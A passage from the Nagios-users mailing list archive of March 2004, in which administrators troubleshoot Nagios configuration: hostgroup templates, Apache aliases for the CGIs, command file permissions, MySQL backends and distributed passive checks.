nagios, was the command file created by nagios and is it writable by the web server? http://nagios.sourceforge.net/docs/1_0/commandfile.html provides more information on that aspect of it. -- Marc ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From leo at abnamroinc.com Fri Mar 12 19:38:43 2004 From: leo at abnamroinc.com (Leo Falkenstein) Date: Fri, 12 Mar 2004 12:38:43 -0600 Subject: Nagios Return error codes Message-ID: Hi, Does anyone know the meaning to Return error code xxx out of bounds message. I get some with the number of 111 114. I have looked at the faq in nagios doc and found an answer for code 125 127 137. Is there a master list with the explanation to these codes? Any help would be much appreciated. Thanks Leo -------------- next part -------------- An embedded and charset-unspecified text was scrubbed... Name: TEXT.htm URL: From jeff.vier at tradingtechnologies.com Fri Mar 12 19:59:22 2004 From: jeff.vier at tradingtechnologies.com (jeff vier) Date: Fri, 12 Mar 2004 12:59:22 -0600 Subject: Nagios 1.0 bug? In-Reply-To: References: Message-ID: <1079117962.7327.236.camel@localhost> have you tried upgrading to 1.2? 1.0 is oooooold. On Fri, 2004-03-12 at 11:39, Porus Lakdawala wrote: > Hi, > > I have Nagios 1.0 running on an SGI IRIX system. > > The total number of hosts monitored is 360 and the total number of services > monitored is 2330. > > Recently I tried adding more services to be monitored. As soon as I do that > a number of errors appear for servers that were already there. The error > message read "no services for this host". The Nagios daemon seems to start > up. The CGIs show the error. > > I thought initially that this might be something to do with the config file. > However the -v option shows no errors or warnings. And I have brought the > config files to a state in which if I add a hostgroup with 10 more servers > to an existing service, it breaks. I remove the hostgroup and life is good. > > Is there an inherent limit on the number of services that can be monitored? > Or is there a known bug which causes this limit? I could not find anything > in the docs or on searching the mailing list. > > Thanks in advance for any help. > ----- > Porus Lakdawala > Phone: (650) 9334576 > Email: porus at sgi.com > > > ------------------------------------------------------- > This SF.Net email is sponsored by: IBM Linux Tutorials > Free Linux tutorial presented by Daniel Robbins, President and CEO of > GenToo technologies. Learn everything from fundamentals to system > administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click > _______________________________________________ > Nagios-users mailing list > Nagios-users at lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/nagios-users > ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. > ::: Messages without supporting info will risk being sent to /dev/null ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From porus at sgi.com Fri Mar 12 20:15:28 2004 From: porus at sgi.com (Porus Lakdawala) Date: Fri, 12 Mar 2004 11:15:28 -0800 Subject: Nagios 1.0 bug? Message-ID: This is running on an SGI IRIX box. So upgrading would require a recompile. This is a critical environment and it would not be easy to upgrade without some testing. If I can confirm that this is a bug I would set the upgrade process into motion. I was hoping that users had seen this already and that someone can confirm it. Thanks. Porus. > -----Original Message----- > From: jeff vier [mailto:jeff.vier at tradingtechnologies.com] > Sent: Friday, March 12, 2004 10:59 AM > To: Porus Lakdawala > Cc: 'nagios-users at lists.sourceforge.net' > Subject: Re: [Nagios-users] Nagios 1.0 bug? > > > have you tried upgrading to 1.2? > > 1.0 is oooooold. > > On Fri, 2004-03-12 at 11:39, Porus Lakdawala wrote: > > Hi, > > > > I have Nagios 1.0 running on an SGI IRIX system. > > > > The total number of hosts monitored is 360 and the total number of > > services monitored is 2330. > > > > Recently I tried adding more services to be monitored. As > soon as I do > > that a number of errors appear for servers that were already there. > > The error message read "no services for this host". The > Nagios daemon > > seems to start up. The CGIs show the error. > > > > I thought initially that this might be something to do with > the config > > file. However the -v option shows no errors or warnings. And I have > > brought the config files to a state in which if I add a > hostgroup with > > 10 more servers to an existing service, it breaks. I remove the > > hostgroup and life is good. > > > > Is there an inherent limit on the number of services that can be > > monitored? Or is there a known bug which causes this limit? I could > > not find anything in the docs or on searching the mailing list. > > > > Thanks in advance for any help. > > ----- > > Porus Lakdawala > > Phone: (650) 9334576 > > Email: porus at sgi.com > > > > > > ------------------------------------------------------- > > This SF.Net email is sponsored by: IBM Linux Tutorials > > Free Linux tutorial presented by Daniel Robbins, President > and CEO of > > GenToo technologies. Learn everything from fundamentals to system > > > administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click > > _______________________________________________ > > Nagios-users mailing list > > Nagios-users at lists.sourceforge.net > > https://lists.sourceforge.net/lists/listinfo/nagios-users > > ::: Please include Nagios version, plugin version (-v) and OS when > > reporting any issue. > > ::: Messages without supporting info will risk being sent > to /dev/null > ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From dnhansen at lakeport.k12.ca.us Fri Mar 12 20:18:16 2004 From: dnhansen at lakeport.k12.ca.us (David Hansen Jr.) Date: Fri, 12 Mar 2004 11:18:16 -0800 Subject: nagios 1.2 on fedora core 1 problem Message-ID: <1079119096.5112.3.camel@merlin> I've got everything configured and installed. What I'm encountering is an error when trying to do anything on the nagios web interface. The home page loads. After that, there's a not found error when trying to view any other page. Here's the clips from /etc/httpd/conf/httpd.conf: Alias /nagios/ /usr/local/nagios/share/ Options None AllowOverride AuthConfig Order allow,deny Allow from all ScriptAlias /nagios/cgi-bin/ /usr/local/nagios/sbin/ AllowOverride AuthConfig Options ExecCGI Order allow,deny Allow from all I've restarted nagios, and it is running. I've restarted apache. I'm lost. Any suggestions? Thanks! David ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From marc at ena.com Fri Mar 12 20:16:39 2004 From: marc at ena.com (Marc Powell) Date: Fri, 12 Mar 2004 13:16:39 -0600 Subject: Template shortcut problem? *Resolved* - BUG? Message-ID: <370ACCFA5BB3B346A31222E5559BF91F03A333@mismail2.ena.com> Well, to reply to my own email, I have a fix for this but it really feels like a kludge and I still think I'm doing something wrong. To resolve this I have created basically a dummy host and made it a member of every hostgroup like so -- define host{ use generic-host ; Name of host template to use host_name template-host alias Template address 127.0.0.1 contact_groups tnops } define hostgroup { hostgroup_name tnops-alcoa-tn alias Alcoa Tennessee members template-host } define hostgroup { hostgroup_name all-middle-tn alias All Middle Tennessee members template-host } define hostgroup { hostgroup_name all-west-tn alias All West Tennessee members template-host } ... Once I did this every other host in each hostgroup registered properly. Checking services... Checked 2307 services. Checking hosts... Warning: Host 'template-host' has no services associated with it! Checked 1627 hosts. Checking host groups... Checked 138 host groups. Checking service groups... I can live with the Warning and I hope it's just a temporary kludge anyway. Is this normal? It feels like there is just a small hole in the template logic somewhere. -- Marc On Thursday, March 11, 2004 2:35 PM, Marc Powell shared with us: > Hi all! I'm starting to play around with 2.0a and I have it working > so now I'm looking at doing some things with template-magic that I > probably should have done a long time ago. Unfortunately I'm doing > something wrong and could use another pair of eyes. I basically have > about 1600 hosts that I'm looking at for this that are split up into > 138 hostgroups with most hosts being in two different hostgroups. I'm > trying to use template magic to eliminate having to specify each as > an argument to the hostgroup 'members' directive by using the > 'hostgroups' directive in the host definition and to simplify my > configs like so -- > > # Host definition > define host { > use generic-host > host_name > alias Alcoa Elementary/LEA > address > hostgroups all-east-tn,tnops-alcoa-tn > } > > And the corresponding hostgroup definitions look like so -- > > define hostgroup { > hostgroup_name tnops-alcoa-tn > alias Alcoa Tennessee > } > > define hostgroup { > hostgroup_name all-east-tn > alias All East Tennessee > } > > Unfortnately pre-flight crashes and burns before take off -- > > Running pre-flight check on configuration data... > > Checking services... > Checked 2307 services. > Checking hosts... > Checked 1626 hosts. > Checking host groups... > Error: Host 'all-east-tn' specified in host group 'all-east-tn' is > not defined anywhere! > Error: Host 'all-middle-tn' specified in host group 'all-middle-tn' > is not defined anywhere! > Error: Host 'all-west-tn' specified in host group 'all-west-tn' is > not defined anywhere! > Error: Host 'tnops-alamo-tn' specified in host group 'tnops-alamo-tn' > is not defined anywhere! > Error: Host 'tnops-alcoa-tn' specified in host group 'tnops-alcoa-tn' > is not defined anywhere! ... *****[137 total bad 'hosts']***** > Checked 138 host groups. > Checking service groups... > Checked 0 service groups. > Checking contacts... > Checked 1 contacts. > Checking contact groups... > Checked 1 contact groups. > Checking service escalations... > Checked 0 service escalations. > Checking service dependencies... > Checked 0 service dependencies. > Checking host escalations... > Checked 0 host escalations. > Checking host dependencies... > Checked 0 host dependencies. > Checking commands... > Checked 100 commands. > Checking time periods... > Checked 4 time periods. > Checking extended host info definitions... > Checked 0 extended host info definitions. > Checking extended service info definitions... > Checked 0 extended service info definitions. > Checking for circular paths between hosts... > Checking for circular host and service dependencies... > Checking global event handlers... > Checking obsessive compulsive processor commands... > Checking misc settings... > > Total Warnings: 0 > Total Errors: 137 > > What's getting me is that the hosts that it's complaining about are > only used as hostgroup names -- > > -bash-2.05b$ grep tnops-alcoa-tn * > tnops-east.cfg: hostgroups all-east-tn,tnops-alcoa-tn > tnops-east.cfg: hostgroups all-east-tn,tnops-alcoa-tn > tnops-east.cfg: hostgroups all-east-tn,tnops-alcoa-tn > tnops-lea-tn.cfg: hostgroup_name tnops-alcoa-tn > > > You'll also notice that 137 out of 138 hostgroups errored out. The > single one that didn't does not have any hosts associated with it -- > > -bash-2.05b$ grep tnops-biz-tn * > tnops-lea-tn.cfg: hostgroup_name tnops-biz-tn > > > I thought it might be a wildcard issue (I do have > use_regexp_matching=1) but disabling regexp matching doesn't have any > effect. I know there's probably something obvious I'm missing but I > can't seem to see it. The documentation is a bit unclear right now > and I suspect it just hasn't been updated yet. The docs for hostgroup > definitions state that the members directive is required while the > docs for host definitions state that the hostgroups directive can be > used in place of or in addition to the hostgroup members directive. ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From marc at ena.com Fri Mar 12 20:23:24 2004 From: marc at ena.com (Marc Powell) Date: Fri, 12 Mar 2004 13:23:24 -0600 Subject: Nagios 1.0 bug? Message-ID: <370ACCFA5BB3B346A31222E5559BF91F03A334@mismail2.ena.com> On Friday, March 12, 2004 11:39 AM, Porus Lakdawala shared with us: > Hi, > > I have Nagios 1.0 running on an SGI IRIX system. > > The total number of hosts monitored is 360 and the total number of > services monitored is 2330. > > Recently I tried adding more services to be monitored. As soon as I > do that a number of errors appear for servers that were already > there. The error message read "no services for this host". The Nagios > daemon seems to start up. The CGIs show the error. > > I thought initially that this might be something to do with the > config file. > However the -v option shows no errors or warnings. And I have brought > the config files to a state in which if I add a hostgroup with 10 > more servers to an existing service, it breaks. I remove the > hostgroup and life is good. > > Is there an inherent limit on the number of services that can be > monitored? > Or is there a known bug which causes this limit? I could not find > anything in the docs or on searching the mailing list. There is a limit on the maximum number of characters a line can be in the config files. The default is 8192 I believe. Could you be exceeding that? What does your host/service definition look like that's causing you problems? -- Marc ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From novickj at toysrus.com Fri Mar 12 20:29:46 2004 From: novickj at toysrus.com (Novick, Jeff) Date: Fri, 12 Mar 2004 14:29:46 -0500 Subject: NagMIN/Nagiosv1.2: Extended Information, and n agios_check_command problems Message-ID: <7CB57EABD6C23342AA8282DA820698990803C102@msg01psp.tru.com> Hi, Ray, I don't know if you got this working yet, but I just switched to a MySQL backend and had to change nagios_check_command=/usr/local/nagios/libexec/check_nagios_db.pl to nagios_check_command=/usr/bin/perl /usr/local/nagios/libexec/check_nagios_db.pl I don't know why I had to prefix it, as permissions are 0755, but it fixed the problem. Hope it helps you. By the way, I too am having a hard time with extended information, but I'm using the MySQL backend for that too. The weird thing is, it worked when I was using all text files for the configs. Jeff -----Original Message----- From: Ray Ward [mailto:ray.ward at mapfusion.com] Sent: Tuesday, February 10, 2004 1:22 PM To: nagios mail_list Subject: [Nagios-users] NagMIN/Nagiosv1.2: Extended Information, and nagios_check_command problems Hi, first a bit about my system, I'm running Nagios v1.2 on a Solaris 8 (sparc) box with database (MySQL) support for everything but extended information. And I'm using NagMIN v2.0.6. I'm having two problems right now: 1 - The extended information generated from NagMIN (or by hand), doesn't seem to be working. -cgi.cfg contains this line: xedtemplate_config_file=/export/home/nagios/etc/HostExtInfo.cfg -HostExtInfo.cfg contains proper (I believe) definitions, I'll give you one of them: define hostextinfo { host_name CCOSWITCH 2d_coords notes_url http://www.mapfusion.com con_image cisco.png vrml_image cisco.png statusmap_image cisco.png } -CCOSWITCH is defined in Host.cfg here: define host { use generic-host host_name CCOSWITCH alias Cisco 2948G Switch address 192.168.1.2 parents SS3FIREWALL check_command check-host-alive max_check_attempts 10 notification_interval 60 notification_period workhours notification_options d,u,r } -The cisco.png file is in images/logos and is world readable (I can load it from the web browser) 2 - The check_nagios_command isn't working I'm using check_nagios_db.pl -cgi.cfg line: nagios_check_command=/export/home/nagios/libexec/check_nagios_db.pl -This command runs fine from the command line: # logoff>pwd /export/home/nagios/libexec # logoff>./check_nagios_db.pl Nagios OK: located 1 processes, program status updated 3 seconds ago -But in nagios I just get: "Warning: Monitoring process may not be running!" Process Status: UNKNOWN Check Command Output: Nagios check command did not return any output So after all that does any have any ideas about either of these probelms?, I thought maybe the xedtemplate_config_file may not be used in Nagios v1.2? (that seems unlikely). For the check command I've tried several commands that all work from the command line but none work from within nagios?...Any help would be appreciated. Thanks Ray, _______________________________ Ray Ward IT Technician MapFusion Technologies Inc. http://www.mapfusion.com _______________________________ NOTICE: This message is intended only for the use of the individual or entity to which it is addressed; and it, including any attachments, may contain information that is privileged, confidential and exempt from disclosure under applicable law. If the reader of this message is not the intended recipient, or the employee or agent responsible for delivering the message to the intended recipient, you are hereby notified that any disclosure, dissemination, distribution or copying of this communication is strictly prohibited. If you have received this communication in error, please delete it from your system without copying or forwarding it and notify us by telephone (905-709-1925) or by return e-mail immediately. MapFusion Corp. and its affiliated companies do not accept responsibility or liability for any loss or damage arising in any way from your receipt or use or for any errors or omissions in the contents of this communication. ------------------------------------------------------- The SF.Net email is sponsored by EclipseCon 2004 Premiere Conference on Open Tools Development and Integration See the breadth of Eclipse activity. February 3-5 in Anaheim, CA. http://www.eclipsecon.org/osdn _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null ======================================================================== This email message is for the sole use of the intended recipient (s) and may contain confidential and privileged information. Any unauthorized review, use, disclosure or distribution is prohibited. If you are not the intended recipient, please contact the sender by reply email and destroy all copies of the original message. To reply to our email administrator directly, send an email to EmailAdmin at toysrus.com. Toys "R" Us, Inc. ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From nagios at the-galloways.us Fri Mar 12 21:46:48 2004 From: nagios at the-galloways.us (Robert S. Galloway - Nagios Account) Date: Fri, 12 Mar 2004 13:46:48 -0700 Subject: nagios 1.2 on fedora core 1 problem In-Reply-To: <1079119096.5112.3.camel@merlin> References: <1079119096.5112.3.camel@merlin> Message-ID: <1079124407.2405.0.camel@lakota.leathernecks.us> What does your apache error log say? That may give you more details. Robert On Fri, 2004-03-12 at 12:18, David Hansen Jr. wrote: > I've got everything configured and installed. What I'm encountering is > an error when trying to do anything on the nagios web interface. The > home page loads. After that, there's a not found error when trying to > view any other page. Here's the clips from /etc/httpd/conf/httpd.conf: > > Alias /nagios/ /usr/local/nagios/share/ > > Options None > AllowOverride AuthConfig > Order allow,deny > Allow from all > > > ScriptAlias /nagios/cgi-bin/ /usr/local/nagios/sbin/ > > AllowOverride AuthConfig > Options ExecCGI > Order allow,deny > Allow from all > > > I've restarted nagios, and it is running. I've restarted apache. I'm > lost. Any suggestions? > > Thanks! > David > > > > > ------------------------------------------------------- > This SF.Net email is sponsored by: IBM Linux Tutorials > Free Linux tutorial presented by Daniel Robbins, President and CEO of > GenToo technologies. Learn everything from fundamentals to system > administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click > _______________________________________________ > Nagios-users mailing list > Nagios-users at lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/nagios-users > ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. > ::: Messages without supporting info will risk being sent to /dev/null ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From nagios at the-galloways.us Fri Mar 12 22:03:12 2004 From: nagios at the-galloways.us (Robert S. Galloway - Nagios Account) Date: Fri, 12 Mar 2004 14:03:12 -0700 Subject: nagios 1.2 on fedora core 1 problem In-Reply-To: <1079124623.5112.6.camel@merlin> References: <1079119096.5112.3.camel@merlin> <1079124407.2405.0.camel@lakota.leathernecks.us> <1079124623.5112.6.camel@merlin> Message-ID: <1079125391.2403.6.camel@lakota.leathernecks.us> Oops. I should have caught this the first time. The ScriptAlias section of the config MUST be first, then the Alias. Change the two around and restart apache. Then you should be good to go. Also, be sure to check that the apache user has permission to execute the files in the sbin folder. Robert On Fri, 2004-03-12 at 13:50, David Hansen Jr. wrote: > Hey Robert, I get a bunch of lines like: > [Fri Mar 12 10:40:38 2004] [error] [client 10.3.26.11] File does not > exist: /usr/local/nagios/share/cgi-bin, referer: > http://10.3.26.11/nagios/side.html > > in the httpd/error_log file. > > On Fri, 2004-03-12 at 12:46, Robert S. Galloway - Nagios Account wrote: > > What does your apache error log say? That may give you more details. > > > > Robert > > > > On Fri, 2004-03-12 at 12:18, David Hansen Jr. wrote: > > > I've got everything configured and installed. What I'm encountering is > > > an error when trying to do anything on the nagios web interface. The > > > home page loads. After that, there's a not found error when trying to > > > view any other page. Here's the clips from /etc/httpd/conf/httpd.conf: > > > > > > Alias /nagios/ /usr/local/nagios/share/ > > > > > > Options None > > > AllowOverride AuthConfig > > > Order allow,deny > > > Allow from all > > > > > > > > > ScriptAlias /nagios/cgi-bin/ /usr/local/nagios/sbin/ > > > > > > AllowOverride AuthConfig > > > Options ExecCGI > > > Order allow,deny > > > Allow from all > > > > > > > > > I've restarted nagios, and it is running. I've restarted apache. I'm > > > lost. Any suggestions? > > > > > > Thanks! > > > David > > > > > > > > > > > > > > > ------------------------------------------------------- > > > This SF.Net email is sponsored by: IBM Linux Tutorials > > > Free Linux tutorial presented by Daniel Robbins, President and CEO of > > > GenToo technologies. Learn everything from fundamentals to system > > > administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click > > > _______________________________________________ > > > Nagios-users mailing list > > > Nagios-users at lists.sourceforge.net > > > https://lists.sourceforge.net/lists/listinfo/nagios-users > > > ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. > > > ::: Messages without supporting info will risk being sent to /dev/null > ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From porus at sgi.com Fri Mar 12 23:13:28 2004 From: porus at sgi.com (Porus Lakdawala) Date: Fri, 12 Mar 2004 14:13:28 -0800 Subject: Nagios 1.0 bug? Message-ID: > There is a limit on the maximum number of characters a line > can be in the config files. The default is 8192 I believe. > Could you be exceeding that? What does your host/service > definition look like that's causing you problems? > Thanks Marc. This is definitely good to know. However in my case it doesn't seem like that is the problem. Here is a segment of the services config file. If I uncomment the first hostgroup_name line and comment the second it breaks. As it stands now it works. define service{ # hostgroup_name field-nt-domain-servers,field-nt-file-servers,field-nt-print-servers hostgroup_name field-nt-domain-servers service_description FIELD NT service McShield check_command check_nt_service!McShield use field-nt-service-template } Porus. > -----Original Message----- > From: Marc Powell [mailto:marc at ena.com] > Sent: Friday, March 12, 2004 11:23 AM > To: Porus Lakdawala; nagios-users at lists.sourceforge.net > Subject: RE: [Nagios-users] Nagios 1.0 bug? > > > On Friday, March 12, 2004 11:39 AM, Porus Lakdawala shared with us: > > > Hi, > > > > I have Nagios 1.0 running on an SGI IRIX system. > > > > The total number of hosts monitored is 360 and the total number of > > services monitored is 2330. > > > > Recently I tried adding more services to be monitored. As > soon as I do > > that a number of errors appear for servers that were already there. > > The error message read "no services for this host". The Nagios > > daemon seems to start up. The CGIs show the error. > > > > I thought initially that this might be something to do with > the config > > file. However the -v option shows no errors or warnings. And I have > > brought the config files to a state in which if I add a > hostgroup with > > 10 more servers to an existing service, it breaks. I remove the > > hostgroup and life is good. > > > > Is there an inherent limit on the number of services that can be > > monitored? Or is there a known bug which causes this limit? I could > > not find anything in the docs or on searching the mailing list. > > > There is a limit on the maximum number of characters a line > can be in the config files. The default is 8192 I believe. > Could you be exceeding that? What does your host/service > definition look like that's causing you problems? > > -- > Marc > ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From michael at optusnet.com.au Sat Mar 13 00:09:28 2004 From: michael at optusnet.com.au (michael at optusnet.com.au) Date: 13 Mar 2004 10:09:28 +1100 Subject: [Nagios-users] Re: Large scale network monitoring limits with nagios In-Reply-To: References: <4051BC6B.1010605@mobeon.com> Message-ID: Noah Leaman writes: > I would be very interested in those patches as well. > > -- > Noah > On Mar 12, 2004, at 5:34 AM, Fredrik W?nglund wrote: > > > I think there was an discussion on this sorting-topc some month > > ago. I thought that resulted in some pathes that changed the code > > to hash-based sorting... > > Anyone know where those patches are? > > > > /FredrikW Umm. in the email that you replied to? :) (Thats David's code). Michael. ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=click From neil-on-nagios at restricted.dyndns.org Sat Mar 13 05:43:41 2004 From: neil-on-nagios at restricted.dyndns.org (Neil) Date: Fri, 12 Mar 2004 22:43:41 -0600 Subject: Availability values explanation - help Message-ID: <20040313044341.31761.qmail@restricted.dyndns.org> Hey guys, I copy+paste the information below from AVAILABILITY. wwww424 TIME OK TIME WARNING TIME UNKNOWN TIME CRITICAL UNDET PING 61.190%(99.899%) 0.044%(0.071%) 0.000%(0.000%) 0.018%(0.030%) 38.749% SSLCert 61.233%(99.971%) 0.000%(0.000%) 0.000%(0.000%) 0.018%(0.029%) 38.749% Web 60.018%(100.000%) 0.000%(0.000%) 0.000%(0.000%) 0.000%(0.000%) 39.982% My question is in the number inside the parenthesis. Can someone explain to me what number inside the parenthesis mean? Or better, can some explain 61.190%(99.899%) in TIME OK for my PING service? Thanks. Neil ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From murray at liquidthinking.co.uk Sat Mar 13 10:10:56 2004 From: murray at liquidthinking.co.uk (Murray Crane) Date: Sat, 13 Mar 2004 09:10:56 +0000 Subject: Solved, was Re: Distributed Woes - Passive Check Results not being submitted to Master In-Reply-To: References: Message-ID: <4052D020.1050109@liquidthinking.co.uk> Murray Crane wrote: > > Further to my last, I've been fiddling this afternoon and during one of > my test runs, I started nsca in --daemon mode; during this test I > noticed that nsca was merrily spawning processes but that none of them > was dying... is this indicative of anything (Like an inability to write > to the named pipe or sommat???) > I'm not entirely sure which of these fixed the problem, as I did all of the following at the same time and when everything came back up it working: * Re-applied all permissions to the external command file directory, * Re-set all nagios.cfg entries on both Distributed and Central servers related to service checks and the external command file (including an explicit check of the external command file on Central, rather than -1), * Restarted everything in the chain on both Distributed and Central servers. -- Murray Crane CommuniGate Pro Administrator LiquidThinking Ltd ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From jlukitsch at providentfunding.com Sun Mar 14 11:59:41 2004 From: jlukitsch at providentfunding.com (Jason Lukitsch) Date: Sun, 14 Mar 2004 02:59:41 -0800 Subject: acknowledgments Message-ID: <8B49A3ED3BA25F46A810527C8008EB6D010F9614@EX.pfloans.com> When host/service acknowledgments are sent, are these email/pager notifications supposed to contain who sent the acknowledgment and also contain any comment added by the acknowledger? Currently on installed on rh 9.0 w/ nagios-1.2-0.rh90.dag & nagios-plugins-1.4.0alpha1-1 Thanks, Jason -------------------------------------------------------------------------------------------------------------------- This email and any files transmitted with it are confidential and Intended solely for the use of the individual or entity to whom They are addressed. If you have received this email in error please notify the Originator of the message. This footer also confirms that this Email message has been scanned for the presence of computer viruses. Any views expressed in this message are those of the individual Sender, except where the sender specifies and with authority, States them to be the views of Provident Funding Associates. Scanning of this message and addition of this footer is performed By Email Filter software in conjunction with Virus detection software. ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From formatpro at yahoo.co.uk Mon Mar 15 10:18:54 2004 From: formatpro at yahoo.co.uk (=?iso-8859-1?q?ForMatPrO=20ForMatPrO?=) Date: Mon, 15 Mar 2004 09:18:54 +0000 (GMT) Subject: Nagios-users digest, Vol 1 #1942 - 1 msg In-Reply-To: References: Message-ID: <20040315091854.35283.qmail@web25001.mail.ukl.yahoo.com> Hi! I've compiled nagios 1.2 on solaris 8 and the init script doesn't work... It always says: No lock file found in /usr/local/nagios/var/nagios.lock However, when I do a "nagios start" it DOES start but with the message: Starting network monitor: nagios No lock file found in /usr/local/nagios/var/nagios.lock A stop gives the same error but doesn't stop nagios. Any ideas? the dir /var has user nagios and is write enabled for that user. ___________________________________________________________ Yahoo! Messenger - Communicate instantly..."Ping" your friends today! Download Messenger Now http://uk.messenger.yahoo.com/download/index.html ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux 